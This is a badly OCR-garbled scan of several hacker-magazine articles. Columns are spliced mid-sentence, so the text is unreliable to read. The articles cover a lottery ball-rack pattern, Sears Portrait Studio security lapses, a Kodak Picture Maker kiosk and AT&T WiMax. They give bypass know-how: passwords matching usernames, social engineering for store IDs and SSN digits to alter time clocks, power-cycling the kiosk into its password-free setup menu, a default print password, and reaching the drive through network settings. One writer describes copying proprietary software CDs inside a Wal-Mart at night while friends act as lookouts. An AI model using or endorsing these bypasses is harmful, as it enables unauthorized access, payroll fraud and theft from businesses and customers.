p Layi ng  t h e  Lottery h imseLf. H e  does this by 
tracki n g  the wi nn i ng  n u m bers a nd  comi ng  up  
with a " h ot" Li st - n u m bers that a re comi ng  up  
mo re frequently than others. As a nyone  with a ny 
a ptitude for math o r  odds certai n Ly knows, this i s  
bunk ,  as you ca n n ot p redict futu re ra ndom out­
comes by Loo ki n g  at past resu Lts. But as anyone  
with any sense  ca n figu re out, pi ng  pong  ba LLs 
a re n ot man ufactu red with g reat p recisio n .  There 
a re s Li ght  variati on s  i n  weight  a n d  s hape, a Long  
with m i no r  i m pe rfections .  H ow these  differences 
can Lead to p redictab Le patterns  i s  weLL docu­
mented i n  severaL  books that teL L  of rou Lette 
wheeLs i n  Las Vegas that were n ot manufactu red 
to p recise  to Lera n ces and the  MIT students who 
made yea rLy pi Lgrimages each s ummer  to fi n ance 
thei r  education s .  I witnessed this fi rsthand  a few 
years ago  when I used to do voLunteer work fo r a 
Loca L civi c o rga nizati o n ,  worki n g  at thei r  n ig htLy 
bi ngo  games .  We had  two sets of bi ngo  ba LLs that 
we wou Ld rotate every so ofte n .  One set appar­
ently had  a few ba lls that were ma rked Ly different 
from the other  ba lls a nd ,  as a resu Lt, wouLd be 
d rawn m uch Less frequently than  the  other  ba LLs .  
I t  was  n oticeab Le enough  that  the  o Ld Ladies who 
p Layed every n ight  wou Ld comp Lai n to us  after 
th ree or fou r  days to switch the ba LLs .  They were 
a Lso a llowed to hand  pick thei r  own ca rds, a nd  
the  mo re astute ones wou Ld sea rch for cards 
without the  "dead" n u m bers on  them ,  j ust in case 
we were usi n g  that set of ba lls that n ig ht. 

Anyway, a round  1 2  years ago, Rob com mis­
sio ned me  to write a simp Le tracki ng  p rogram so 
he  cou Ld Load the  wi n ni ng  n u m ber  history fo r a ny 
Lottery a n d  have the  program determ ine  n ot o n Ly 
the " h ot" n u mbers ,  but hot sets of n u m bers (fo r  
examp Le, if two o r  mo re n u m bers a re Li keLy to  be 
d rawn together) . The Lottery has  a h uge odds ad­
vantage in  that the  payoff ratio i s  fa r Lower than 
the actua L  odds .  Th i s  i s  the " h ouse edge" that  a L­
Lows them to ma ke money. To give some perspec­
tive, most rou Lette wheeLs in Vegas have 37 
n u m bers ( 1 - 35 ,  0, a n d  00) a n d  pay off 35 to one  

on  a S1 every 
you bet you can expect to earn back o n Ly 3 5 ,  o r  
about $945 for every $ 1000 wagered .  T h e  Lottery 
works a little differently - it i s  a pari -m utue L  poo L  
where a certai n amount i s  set  aside  fo r payi n g  off 
wi n n i ng  n u m bers a nd  the payout fo r a ny pa rticu­
La r n u mber  depends on  h ow many peopLe se­
Lected that n u m ber. Many Lottery p Layers try to 
determi n e  which n u m bers n o  one  e Lse Li kes a n d  
p Lay those i n stead o f  p Layi ng  thei r  " Lucky" n um ­
bers .  Regard Less,  the  typica L payout fo r a Pi ck-3 
type Lottery i s  $200-$300.  With th ree digits there 
a re 1000 n u mbers so the  odds a re 1000 to 1 
agai n st you .  Fo r every $ 1000 you wager i n  a Pi c k-
3 Lottery you can expect a retu rn of $200-$300 
back - certai n Ly much  worse than Vegas .  With 
those odds  agai n st you ,  it i s  easy to see why a Lit­
tLe n ume ric  edge i n  seLecti n g  n u m bers has n ot a L­
Lowed Rob to take a n  earLy reti rement. 

B ut that i s  n ot the hack. The hack was fa r si m­
p Ler  than  that  a nd  i s  how Rob got  sta rted writi n g  
a n d  selli n g  Lottery n ews Letters. R o b  h a s  been a n  
avi d  Lottery p Layer fo r a n u m ber  o f  yea rs. R o b  i s  
a Lso the type of person who  i s  a Lways Loo ki n g  for 
a n  edge,  an advantage, o r  some type of i nfo rma­
tio n  that the  average person does not have (who 
i s n 't? ) .  H e  p Layed h is  state Pi ck-6 Lottery regu­
La rLy. Back then ,  the Pi ck-6 had  you seLect six 
n u m bers from 1 to 36  a nd  paid fo r fou r, five, o r  
six correct picks, six o f  course bei n g  t h e  jackpot. 
The d rawi n g  was teLevi sed a n d  a Lways sta rted the  
same way. The ba LLs were a rra n ged i n  a rack  with 
the  n u mbers d ispLayed so you cou Ld see that they 
sta rted with a LL 36 ba LLs . They switched on the  
machi n e  that  sta rted the  mixer, reLeased the  
ba LLs ,  a n d  one  by  one  the  s ix  wi nn i ng  n u m bers 
were seLected .  The rack he Ld six rows of six ba LLs 
eac h .  Rob n oti ced that they were a rra nged in nu ­
mericaL  o rder  i n  each  row but t hat  they wou Ld ro­
tate the rows with each d rawi n g  in a predictab Le 
manner. They wou Ld sta rt with ba LLs 1-6 i n  the  
fi rst row, 7-12 i n  the  second ,  1 3-18, 19-24 ,  25 -
30 ,  a n d  31-36 i n  the th i rd ,  fourth ,  fifth ,  and  
sixth rows respectiveLy. In the n ext d rawi n g  they 
wouLd move the  fi rst row to the end  and  s Li de  a LL 
the  other  rows up ,  so the rows now were 7-1 2 ,  
1 3-18, 19-24, 2 5 - 30 ,  3 1 - 36 ,  a nd  1-6 .  Each week 
they wouLd take the front row and move it to the 
back in the  same predictab Le manner, never devi-
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ati n g  from the patte rn .  Rob made a n ote of this .  
It was a lso about th is  ti me  that he  sta rted keep­
ing track of the wi nn i ng  n u mbers to see if  there 
was a pattern . After a whi le he discovered that 
the  fi rst n u m ber i n  the fi rst row came  up  q uite 
often - a lmost 50  percent of the time .  Because of 
the way the machi n e  was designed ,  when  they re­
leased the ba lls, this fi rst bal l  must have fa llen 
di rectly i nto the a rea where the ba lls were d rawn 
from .  

Armed with this i n formation  a n d  knowi n g  
which ba ll w a s  su re t o  be i n  this spot each week, 
he sta rted selecti ng  h is  n u mbers very differently. 
He devised a "wheel" system with the one n u m ber  
he  knew was li kely to come out a nd  "wheeli n g "  
the  other  n u mbers to  p lay many different combi­
nati on s  contai n i ng  this n u m ber  (this was the  ba­
sis fo r h is  later system of usi ng  " hot" n u m bers ) .  
Now obvious ly, bei ng  about 50  percent certa in  of 
what o ne  n u m ber i s  goi n g  to be i s n 't goi n g  to 
m a ke you ri ch overnig ht. But he started hitti ng  
fou r  out of s ix  enough  that it became  p retty p rof­
itab le ,  enough  to come  out a little a h ead  over 
ti me .  Then he  hit five out of six with a payout of 
severa l thousa nd  do lla rs which put him way 
a h ead  of the game .  

H e  went  on  li ke th i s  fo r several  months ,  then 
decided there was mo re money to be made with 
this i n formati o n .  He  decided to sha re this i n for­
mation  with others by selli n g  it. Readers of 2600 
i n terested in the  free exchange of i n formati o n  
a n d  ideas ,  m i g h t  frown upon  h i s  app roach to 
s h a ri n g ,  b ut Rob had a fam i ly to support a n d  two 
kid s  app roachi ng  college age .  Besides ,  he felt h e  
was  p rovi di n g  legiti mate i n formatio n  that others 
cou ld use to ma ke money so why n ot charge fo r 
it? H e  took out a sma ll ad i n  the back of a tab loid 
- " Lottery Secrets Revea led - send $5  fo r mo re i n -

by  Stephonovich 
I was recently hi red at Sears Portrait Studio 

and discovered some di stu rbi ng  issues d u ri n g  my 
trai n i ng .  Thei r  knowledge of basic security mea­
su res is  ten uous  at best,  and they seem to regard 
customer  p rivacy as little mo re than a n uisa n ce .  

Fi rst, you m ust u ndersta nd  the basic layout at 
SPS (thei r  i nterna l  n ame ) .  The front desk i s  typi­
ca lly free floati ng  and customers cou ld very eas­
i ly get behi n d  it without bei n g  seen . They wou ld 

fo rmati o n . "  H e  fig u red he cou ld ma ke a few 
bucks ,  that's a ll . Su rprisi n g ly enough ,  the  money 
came  i n  by the  h u n d reds - $5 bi lls a rrivi n g  i n en­
velopes each day, cou rtesy of the USPS .  

One  day a different type o f  enve lope a r rived . 
This o ne  was from the State Lottery Com mission  
a nd  i n stead of a $5  b i l l  it contai n ed a Cease and  
Desist o rder. (An i nteresti ng  n ote - Rob  was  n ot 
p rofiti ng  at the  expense of the  Lottery Com mis­
sion  si nce the payout i s  a fixed percentage of a ll 
money take i n .  H e  ( and  h is  customers)  were p rof­
iti n g  at the  expense of other lottery p layers by 
reduci n g  the wi nn i ng  payout amount . )  A Cease 
and Desist o rder  was a sca ry thi ng  to Rob so he 
showed the letter to his attorney. H is  attorney 
assured h im that he was doi n g  n othi ng  i llega l, 
si mp ly s h a ri n g  i nformation  based o n  his obser­
van ce ( and  a lso advi sed h im to ma ke su re he was 
keepi ng  track  of, and payi ng  p roper  tax o n ,  a ll i n ­
c ome  from t h i s  i nformati o n ) .  T he  attorney sent a 
rep ly back to the Com mission  telli n g  them in po­
lite lega lese to Fuck Off! He  received severa l 
other  th reateni ng  letters over the n ext few 
months ,  b ut n othi ng  ever came  of it. Then one  
day h e  tuned i nto the  nig htly lottery d rawi ng  a nd  
l o  a nd  beho ld !  There wa s  a n e w  lottery mach ine  
i n  p lace a n d  the  ba lls, wh i le a ll bei n g  d isp layed 
as before, were in no p redictab le o rder. The com­
missi on  had  gotten smart a nd  took  the  path of  
least resista nce .  The least they cou ld h ave done  
was  tha n k  h im o r  pe rhaps  pay  h im a "con su ltant" 
fee fo r fixi ng  thei r  fa u lty system .  

S o  watch you r  loca l televised lottery d rawi ng s  
ca refu lly. You may  n ot fi n d  a "bug "  li ke Rob  d i d ,  
b ut who knows? Remem ber, a lthoug h the  ma ­
chi nes themselves have gotten mo re soph isti­
cated ,  most of them sti l l use the  good o ld 
low-tech pi ng  pong  ba ll. 

have any n u m ber  of excuses s hou ld they be 
caug ht. On the front desk there a re at least two 
computers, mo re for bigger stores. There wi ll be 
at least one  standa rd desktop ( a ll of them a re 
De ll) a n d  a POS termi na l  which is I BM .  These a re 
i dentica l  to the  other  POS termi n a ls used i n  
Sears. A l l  o f  the  desktops a re r unn i ng  Wi ndows 
XP  Professiona l  a n d  I believe the IBM ru n s  DOS .  
H owever, the  o n ly p rogram they seem capab le of  
runn ing i s  the  sa les kiosk .  

III i n t e r i! O 0 5 - i! 0 0 E. ----------------- P a g e  5 1  



There is typi ca lly a divid ing  wall  behi n d  the 
desk but it doesn 't exten d  fu lly to the  sides .  In 
front of the  wall  i s  a row of cabi n ets ( n ot locked ) 
which contai n reco rds of a ll ki nds ,  p h otos to be 
picked up, and so on. On top of the cabi nets a re 
assorted papers bei ng  used a n d  the  i n -store 
p ri nter. It wouldn 't ta ke m uch i magi n ation  to 
grab p hotos from this ,  si n ce they're typica lly left 
sitti ng  i n  the tray fo r some ti me  before bei n g  
sorted. Connected t o  t h e  p ri nter i s  a n other  des k­
top r unn i ng  Wi ndows Server 2003 .  I'm not su re 
what its fu n ctio n  i s ,  other  than  it a llows fo r fu ll 
contro l of al l  i mages,  p rint  jobs ,  a n d  customer  
databases.  I t  a lso has  remote access ca pabi lity, 
si n ce d u ri n g  a tech nica l  support ca ll they were 
accessi ng  it. 

Behi n d  the wall a re the viewi n g  stati on s .  This 
i s  where customers a re ta ken after a s hoot to de­
ci de  which packages, sheets, and a ny enhance­
ments ( b lack a n d  white, sepi a ,  d uotone, etc . )  
they want. They a re nothi ng  mo re than  a nother  
desktop with SPS softwa re that a l lows i mage re­
view, basic man ipu lati o n ,  p ri nti n g ,  o rderi n g  from 
the la b ,  a nd  many other fu n ctions .  

Fi na lly, i n  each  studio there is a n other  desk­
top which i s  con nected directly to the ca mera a n d  
a lso has  S PS softwa re i n stalled .  Typica lly after a 
s hoot, the p hotographer  wi ll do some basic ma­
n ipu lati on  on  a few of the i mages,  such as b lack 
and white o r  vi g netti ng ;  which they wi ll then 
show the customer at the viewi ng  stations .  

Now the  i nteresti ng  thi ng  about the desktops 
i s  that they a ll have fu ll access to the i mage data­
base which contai ns  every p hoto purchased fo r 
the  past six months .  Th ey a lso have sepa rate ac­
counts set up under  Wi ndows, with user names 
such as sa les, studio ,  a nd  admi n .  The passwords, 
sad ly, a re the same as the user name .  Even 
worse, every associate knows this  and is often 
seen repeati n g  them out loud  i n  front of cus­
tomers wh i le typi ng  them i n .  (Some fun ctions  a re 
disab led except to the admin i strator a nd  so it i s  
n eeded from ti me  to ti me . )  From h ere, a ma li ­
ci ous  person  cou ld wi pe out thei r  enti re image  
co llecti o n  o r  i n sert thei r  own . In theory, one  
cou ld rep lace i mages i n  the p ri nt queue  with 
one's own a n d  then grab them from the p ri nter 
before they were noti ced . 

The desktop at the front desk is the main  ter­
m i na l. which has access to the customer  data­
base and the appoi ntments book .  All of this is 
done  th rough  a web interface to the main SPS 
website. It uses sta nda rd 128 bit SSL. with the 
client ru n ni n g  IE6 .  Th is  i s  proba b ly the biggest 
secu rity h o le in the enti re operati o n .  The website 
i s  typica lly left up, to avoid havi n g  to open it 
back up  every few min utes.  From he re you ca n 
vi ew, modify, and  add appoi ntments, loo k  up cus-
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tomer  i nfo rmati o n ,  view sa les fig u res, a nd ,  most 
impo rtantly, clock in a nd  out. Note however that 
none of the  desktops, i n cludi ng  the front desk ,  
have fu ll Internet ca pabi lity. The o n ly website a l­
lowab le is the previous ly m entioned web i nter­
face. Whether  this i s  loca lly imp lemented o r  via a 
sepa rate fi rewa ll is u n known . 

Now the emp loyee clock deserves a bit of 
background  i nfo rmati o n .  Every SPS emp loyee i s  
i ssued a th ree d ig it  associate n u m ber. It  doesn 't 
seem to fo llow any sort of pattern a nd  they actu­
a lly a re gua rded fai rly well. This n u m ber, h ow­
ever, i s  not req ui red to perform a ny of the above 
activiti es .  It i s  o n ly used fo r i niti a l  logi n of the 
kiosk  but, as I m entioned ,  i t ' s  usua lly left logged 
i n .  To clock i n  and  out you use you r  socia l  secu­
rity n u m ber  which pu lls u p  you r  i n formati o n .  Af­
ter verifyi n g  it is correct, you a re clocked i n .  The 
sto re manager has  a unique abi lity, however. 
They a re ab le to m odify the clock ti mes .  So fo r i n ­
sta nce if a n  emp loyee fo rgets t o  clock i n  upon  a r­
rival . it ca n be modified to show that they did .  
The manager  account  has  a few safeguards  i n  
p lace. Fi rst, you m ust know t h e  sto re's ID n u m ­
ber. This i s  easi ly obtai ned either  b y  g la n ci n g  at 
the screen o r  t h rough  a sma ll bit of soci a l  engi­
neeri n g .  I i magi n e  registeri n g  a comp laint wou ld 
be a va li d  excuse to obtai n the n u m ber. Second ,  
you  m ust k now  the manager 's associate n u m ber 
and the la st fou r  di gits of the soci a l  secu rity 
n u m ber. They a re used together  as a passwo rd of 
so rts . As I mentioned ,  the  associate n u m bers a re 
fai rly well gua rded so you would have to hope  fo r 
them to be pasted to the screen or some such .  In 
a ll h on esty, that would n 't be very fa r fetched .  
Above a ll. of cou rse, you  could try b rute fo rci ng  it 
but tryi n g  900 combinati ons  by h and  i sn 't very 
feasi b le .  As to the soci a l  security n u m ber, that 
would be a bigger cha llenge .  The last fou r  digits 
scheme is  used by severa l companies now, i n clud­
ing banks  and travel agencies .  It wou ld be possi­
b le ,  therefo re, to do a bit of socia l  engi n eeri n g  
with t h e m ,  provided y o u  had suffi cient a lternate 
i nfo rmati o n .  

M y  biggest concern overa ll a re t h e  viewi n g  
stati on s .  They a re comp letely a t  ri s k  a nd  not p ro­
tected in the s li g htest. The photos they contai n 
a re the p roperty of SPS.  It would be a si gn ifi ca nt 
fi n an ci a l  loss if someone were to down load them 
to  a flash  d rive o r  si m i la r, rather  than  pay the ex­
o rbita nt fees ($80 cu rrently) to buy the rig hts to 
t hem .  Worse yet, i magi n e  an i n dividua l  obtai n i ng  
customer  i nformati on ,  as well as a decent 
amount  of p hotos, and then selli n g  them at re­
duced p ri ces to the cli ents. This would be com­
p lete ly u ndetectab le as th ere a re no  logs o r  other 
safeguards  i n  p lace.  
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Kodak Secr et s  and 
Wal-M art Fl.1 

by Thorn 
thorn2600@yahoo.com 

This is rea lly two a rti c les i n  one :  a true  sto ry 
of a crazy adventure getti n g  softwa re a nd  s how­
i n g  some flaws in Wa l-ma rt' s secu rity, as  well as 
a n  a r ti cle on  the software and manua l  I o btai n ed 
from that adventure, the Koda k Pi ctu re Maker  G 3 .  
I f  y o u  a re unfami li a r  with w h a t  that i s ,  it 's the  big 
Kodak machi ne  i n  sto res li ke Wa l-mart  that you 
use to scan  pi ctu res . You ca n a lso use pi ctu res on  
whatever type of d i s k  you m ight  have a nd  edit 
th em ,  change  the size, make mo re p ri n ts ,  or 
whatever. 

Now obvious ly I'm not goi n g  to put the enti re 
manua l  i n  this a rti cle . . .  I p la n  on eventua lly 
ebooki n g  the who le thi ng  a nd  putti n g  it o n li n e , 
but  I ' l l just  give you the j ui ci e r  pa rts fo r now such  
as  how to change  setti n gs,  retri eve " lost" pass­
words a nd/or change passwords; as  well as the 
stuff they don ' t  wa nt  you to know about  th is  
softwa re. But  fi rst I wi ll te l l  you a ll a sto ry of h ow 
I o btai ned this materi a l  because it is o ne  crazy 
story which a lso poi nts out Wa l-ma rt's i n securi­
ti es. 

A fri end  and I were at Wa l-mart  and we went 
to the usual department we li ked to look  a round  
i n :  e lectronics .  Next to  it  wa s  t he  p hoto depa rt­
ment  a nd  I sta rted messi ng  a round on those se lf 
ph oto machi n es with the sca n n er, the monito rs ,  
a n d  the d isk  d rives. I a lways li ke to p lay with a ny 
p ub lic  computers ( and  someti mes computers no r­
ma l  people a ren ' t  supposed to use when nobody 
i s  loo ki n g ) .  

U nfo rtunate ly it  wa s  turned off a nd  push i ng  
the  power button did n othi ng .  I t  must  h ave been 
u n p lugged .  But  then I n oti ced a little bi nde r  on  
top of the mach i ne  that  had  a cover sayi n g  " Ko­
dak  Pi ctu re M a ke r  G3 "  so natura lly I was wonder­
i n g  what this was. I picked it  up  and loo ked 
th rough  it. It actua lly had  the manua l  fo r this 
machi n e !  And  on top of that, it  had  th ree CDs  in 
little pouches.  They were la be led ( Kodak  Pi ctu re 
Ma ke r  s ho rtened to KPM)  " KPM  - Trai n i ng  Tuto ri a l  
V3 .0 , "  " K PM - Wa l-mart  Speci a l  1 - G3  Software,"  
and " K PM - App lication  Softwa re V3 . 7  SPI  ( Fu ll 
Insta ll) . "  

Th i s  i s  when I fli pped .  I had  access to  the 
softwa re on these thi ngs .  I rea lly wanted this 
softwa re but  I didn 't  want to stea l these thi ngs .  
So I ca me  u p  with th i s  p la n :  I wou ld come back at 
2 am. I chose that ti me  because I wou ld be  up 

anyway. I 'm  a night owl ,  plus there 
fewer customers a n d  emp loyees to 
b rought  my standa lone  CD bu rne r  
the  s i ze  of  a s hoe  box  and  I had  some  blank  
i n  my pocket a long  with a felt tip marker. I 
the power cord i n  my pocket and  wa lked i n to 
ma rt with two fri ends .  I wa lked up to the  
g reeter person  a nd  sa id  I n eeded to  fi n d  the  
power cord a nd  asked if I cou ld" b ri n g  it  
there with me .  S he  d idn ' t  even ask  what it  was 
and  said OK.  

I grabbed the bi nder  on my way to the  a uto 
department  waiti n g  room  which was closed at 
this ti me  of n ight  but wasn ' t  locked or a nythi ng .  I 
chose this spot beca use there were no ca m era s i n  
there .  I ' d  be out  o f  si g h t  from custome rs a nd  em ­
p loyees and  there wa s  a power outlet fo r my  
bu rner. I s a t  d own ,  p lugged it  i n ,  popped i n  one  
o f  my b la n k  CDs  a long  with one  of the o ri gi n a ls ,  
and sta rted bu rn i n g .  D u ri n g  this ti m e  my two 
friends  were keepi ng  a lookout. If an emp loyee 
ca me near, th ey'd di stract him by aski n g  where 
the fla s h li g h ts were. We decided on fla s h li g h ts 
because they were fa r away enough  away that the 
employee would have to s how them where they 
were. But no emp loyees or customers disturbed 
me  anyway. When I fi n i shed ,  I put the CDs  back in 
the bi n der, put my b u rned CDs i n  my pocket with 
the power cord, put the bi nder  back on the p hoto 
machi ne ,  a nd  wa lked out of the sto re. As I passed 
the door g reeter I said that they didn't have the 
ri ght  power cord and I left with her apo logizi n g .  

On To  The Good Stuff 
The followi ng  is a little bit from the manua l. 
If you forget your passwords, turn off the 

main power to the Picture Maker; and then turn it 
back on. Touch the Setup button immediately af­
ter the Picture Maker main screen appears and 
then follow steps 1 -2 on page 2-2. You can then 
access and view the current passwords. 

Follow these steps from the Setup screen to 
enable and specify each of the system passwords: 

1. From the setup screen, touch System Con-
figuration. 

2. Touch Select Passwords. 
3. Set up the passwords. 
Touch next to each password that you want  to 

turn on. A green check mark appears. 
Touch the keypad button to enter the new 

password. 
Note: Your password can be a maximum of six 

W i  n t e r  2 0 0 5 - 2 0 0 E,  ---------·--------- P a g e  5 3  



numbers. 
Touch the green check mark next to the pass­

word to turn it off. 
4. Enter the password using the on-screen 

keypad. 
5. Touch Save to store the new passwords and 

exit this screen. 
6. Touch Start Over. 
7. Touch Exit. 
So aL L  you have to do is turn the computer off 

then back o n .  On the  back of the  computer is a 
manua l  power switch .  J ust fli p  that off then o n .  
In  case y o u  can 't see t h e  back of t h e  machi ne  a nd  
a re fee li n g  fo r t h e  switch ,  reach  a round  the right  
si de of the  base  pa rt a nd  fee l  fo r the big power 
co rd . Once you fi n d  that, the switch i s  rig ht be­
si de it. 

As the computer boots , you ' ll see that it's run­
n ing  Wi n dows 2000 Pro . When it gets to the  user  
logi n you ' LL see  " kodakuserl"  as  the  user and 
eight  asteri sks  fo r the password ( i t  may be differ­
ent at you r  store but at the th ree Wa l-ma rts I 
tried this at it, there was the same user name  and  
same a m ount of asteri sks  fo r the u n known pass­
word ) .  This i s  a ll g rayed out and it a utomatica lly 
logs o n .  Wi ndows loads li ke no rma l  a nd  fo r a sp lit 
second  you ca n see the desktop and everythi n g .  
You can even touch the  Sta rt button o r  whatever 
but then the Koda k softwa re a utomati ca lly loads  
i n  fu LL screen . It  wi ll run  a system check i n  which  
I found  out that these machi n es have these stats : 
Total Physical Memory: 382 MB 
Total Virtual Memory: 2047 MB 
C Drive: 4 GB (2. 7 GB available) 
D Drive: 1 . 9  GB (1 GB available) 
E Drive: 3 1 . 2  GB (24 .2  available) 

by t_ratv 
You m ust have seen these thi ngs  a round .  If 

you have been unfo rtunate enough  to have to 
work on them ,  I pity you .  I have had  that experi ­
ence a n d  so I 'm writi n g  a little gu ide to  i LLustrate 
how they work. The usua l disclai mer  exi sts . 
This is fo r i n formationa l  pu rposes only. You ca n 
be i n  vio lation  of laws. I gai n ed this experience 
from worki n g  at a p lace that dea lt with these 
abominations .  

O n ce the softwa re i s  done  loadi n g ,  th i s  i s  the  
ti me  when you ca n enter the Setup mode without 
a password . From there, hit System Config u ra­
tio n ,  then Select Passwords to go  i nto the  pass­
words .  The manual  b latantly says n ot to use the  
store n umber  fo r the password , b ut everywhere 
I've checked, fo r the  Setup password they do j ust 
that. It appears that for the Pri n t  password, the 
defa u lt i s  888.  

The softwa re n eeds to be i n sta lled on  a com­
puter with a C ,  D ,  and E h a rd d rive; the bu lk of 
the program  i s  i n sta LLed on the E d rive. Of course 
you can use a vi rtua l  d rive p rogram to ma ke a 
fa ke D a nd  E d rive if needed .  At abso lute min i ­
m u m ,  about 9 G B  of memory i s  requi red . . .  b ut 
that's if you ' re j ust usi n g  the  computer fo r this 
software. 

Before I i n sta LLed this o n  my own computer, I 
went to Wa lma rt to p lay with the rea l thi ng  some 
more .  I had  brought my own b la n k  CD-Rs to make 
myself a picture CD usi n g  the  pictu res I had  on a n  
SD  ca rd . B ut w h e n  I went t o  write t h e  CD ,  i t  told 
me that I wasn 't usi n g  an offi ci a l  Koda k Pi ctu re 
C D !  H ow could it know this? I ca n 't fi n d  any ex­
p la natio n  about this in the man ual .  If a nybody 
knows h ow it cou ld tell the difference between 
my b la n k  CD-R a nd  thei rs ,  p lease emai l me  and 
te l l  me  you r  theory a nd  possi b le ways to make it 
thi n k  a regu la r  b la n k  CD-R i s  one of thei rs .  

A lso ,  appa rently I 'm missi n g  some CDs that 
a re n ot requi red fo r it to work but add featu res, 
such as the borders CD  a n d  so o n .  I 'd be i nter­
ested i n  knowi ng  if a nybody has  KPM CDs other 
than the  ones I mentioned he re o r  versi on s  of Ko­
dak Pi ctu re Maker  other than V3.7 SP1 .  

Fi rst off, we need to  cover the different ma­
chi n es out i n  the wi ld , so to  say. There a re th ree 
majo r  generationa l  shifts . The fi rst generation  of 
Pi cture Ma kers was based on  a very p rop rieta ry 
Sun  system usi ng  a Sparc p rocesso r. Th e o n ly 
thi n g  that ca n be easi ly changed out is the RAM .  
I t  seems  to  be the o n ly thi n g  that  ca n be up­
g raded too.  You ca n sti ll run  i nto these machi n es 
a n d  they have the most li mitations  on them . They 
have a PCMCIA card reader  which is very li mited 
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on what it ca n ta ke, S O  cards o n Ly up to maybe 64 
M B ,  a nd  they a LL have to be used with a n  adapter. 
The peri p hera Ls a re eithe r  SCSI or a p rop ri eta ry 
Kodak  con necti o n .  The scanne r  is a rebadged Ep­
son .  

The  second  generation  of mach ines i s  ca LLed 
the PS4. Sti LL based off of Sun Tech n o Logies,  
these have a little more flexi bi Lity as fa r as  h a rd­
wa re goes but n ot muc h .  Faster and n ewer, it's 
sti l l  very p rop ri eta ry a n d  a pai n to work o n .  It 
sti l l  reLies on  the SCSI bus but has an i nterna L  
ca rd reader. The sca n ner  i s  a rebra nded Epson 
agai n .  

T h e  cu rrent generati o n  o f  machi n es i s  ca LLed 
the G3 o r  th i rd generati o n .  These mach i nes made 
the h uge jump of runn ing  a Wi ndows O/S (either  
2000 o r  XP  Pro ) .  These mach i nes typica LLy wi LL be 
r unn i ng  a Penti um  4 p rocessor i n  a machi n e  that 
was bu i lt fo r Kodak  by IBM. The sca nners a re o n ce 
agai n Epsons ,  b ut they cri pp Le them by n ot a LLow­
i n g  the a bi Lity to scan in the negatives or s Lides .  
This ti me  the  sca n ners a nd  p ri nters a re USB  a n d  
pa ra LLel .  These mach i n es a re the  n ewest a nd  h ave 
been a round  in some shape  or fo rm for about 
fou r  yea rs. Some have a touch screen CRT. The 
n ewer ones have a touch  screen LCD .  The G3s  a Lso 
have a fu LLy fun cti ona L  and practica L  ca rd reader  
as  we L L  as B Luetooth a n d  i nfra red 

by Pirho 
I recently was i nvited to a tech no Logy fai r  

which was bei n g  hosted b y  AT&T. The conference 
was about what n ew exciti ng  thi ngs  AT&T has  got 
p La n n ed fo r its customers .  You may have h ea rd 
that AT&T is now i ntroduci n g  i nto a beta envi ron­
ment a n ew type of b roadband  com m unicati o n  
ca lled WiMax.  

Wi Max i s  AT&T's a n swer to the prob Lem that 
exists in most compan ies with poi nt to point con­
nectivity which i s  com m o n Ly ca LLed the  last mi le. 
That i s  the con necti on  that i s  owned and ma in­
tai ned by you r  Loca l telco con necti ng  you r  two Lo­
cations  together. Most ISPs o n Ly lease the ci rcuits 
from the telcos .  ( Fo r  those of us i n  the  New York 
region  that te Lco wou Ld be Verizon . )  

AT&T's WiMax i s  identified b y  802 . 16d a n d  
802 . 16e .  It i s  rumo red t o  be usi n g  t h e  Li censed 
frequenci es of 700 M H z  and 66 GHz to ca rry you r  

That covers the  h a rdware. N o w  t o  get i nto the 
fun part: the  pi ctu re ma ker software. For the sa ke 
of b revity, I'm goi n g  to j ust taLk about one  of the  
majo r  ho Les a nd  a n other  way of gai n i ng  raw ac­
cess to  the h a rd d rive on  the G 3  mach i n es .  

A L L  Pi cture Ma kers h ave the  same "feature" 
bu i lt i n .  Right  after the mach i n e  boots up, o ne  
ca n go i nto the  setup menu  without enteri n g  a ny  
type o f  password unti L  the screensaver p lays (you 
can teLL when that i s  because it wi LL say "WeLcome  
to  Koda k Pi ctu remaker" ) .  O n ce there, you ca n see 
the cu rrent password , change  it to whatever, p Lay 
with p ri ci n g ,  a nd  run  many othe r  d iagnostics .  

What becomes i nteresti n g  i s  when  you a re on  
a G3  Picture Ma ker, there i s  a n  i con  fo r setti ng  
the  IP  add ress. What  t ha t  does i s  pop you  i nto 
the traditi ona L  Wi ndows Network confi gu ration  
mode .  From there you h ave access to  anything on  
the  h a rd d rive a nd  you can change  a ny n u m ber of  
setti ngs .  I t  rea lly i s  a n  easy system to  get 
th roug h .  The other issue with th is  is that as a 
tech n ici a n ,  you have to reso rt to these measures 
to get these mach ines to operate properly on a 
n etwork with a lab .  Koda k did n 't bother to teLL 
the tech nici an s  that befo re eithe r. It i s  a rea Lly 
sad state of affai rs. J u st i n  case any of you gets 
stuck  worki n g  on one  of these th ings ,  you now 
have a n  i dea on  h ow to get a round  and make it 
viab Le .  

give you equ ipment  that you wi LL i n ­
sta LL i n  you r  NOe .  Th i s  wi LL be known  as a base 
station  (BS ) . A subscribe r  station  (SS) wi LL be op­
erated by AT&T. The BS wi LL ta ke you r  data a nd  
encrypt i t  usi n g  D ES (the AT&T secu rity tech to Ld 
me D ES but they a ctua LLy meant a LL types of D ES 
encrypti o n ) .  Then it wi lL tra nsmit the  data o n  a 
set frequency with a rotati ng  encryption  key 
about every 200 packets . The si gna L  wi LL be either  
re Layed by an  SS o r  to a n other  BS where it wi LL be 
decrypted and used by the other  NOe .  

How Does The System Work? 
Fi rst the SS authenti cates to the BS usi ng  a 

one  way authenti cati o n  (this is o n Ly tempora ry -
they a re p la n ni n g  o n  usi n g  a two way when they 
fi n i sh  the  beta test) . Both the authenti cation  
a n d  the  traffi c i s  en crypted a nd  the  en crypti on  
keys have a li mited life s pan  (they menti oned 
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200 packets) a nd  thus  is constantly bei ng  re-en­
crypted .  

The hand shake from the SS to the  BS uses the  
standa rd x .509  certifi cates a nd  DES .  ( N ow the 
D ES encryption  i s  a lready known to be broken 
and this i s  o n ly bei n g  used on  the 802 . 16d .  When  
they move to the 802 . 16e they wi l l be usi ng  AES  
encrypti on  i n stead . )  Each SS has  a bui lt-i n manu­
fa ctu re r-i ssued certifi cate that is comp rised of 
the SS 's pub li c  key and the SS's MAC add ress. This 
com bi nati o n  a llows a secure con n ection  and wi ll 
p revent a n on-subscriber  SS (or a nyone  sniffi ng  
fo r traffi c) from p retendi ng  to be a va li d  SS by 
usi ng  MAC spoofi n g .  

After the  55 makes its con nection  t o  t h e  B S ,  it 
wi ll begi n the authenticati on  process .  Fi rst, an 
authenti cation  i n fo message i s  sent to the desig­
nated BS,  which contai n s  the man ufactu rer 's cer­
tifi cate of the  55 that sent it. This is fo llowed up  
by  an  auth request wh i c h  contai n s  the SS ' s  cer­
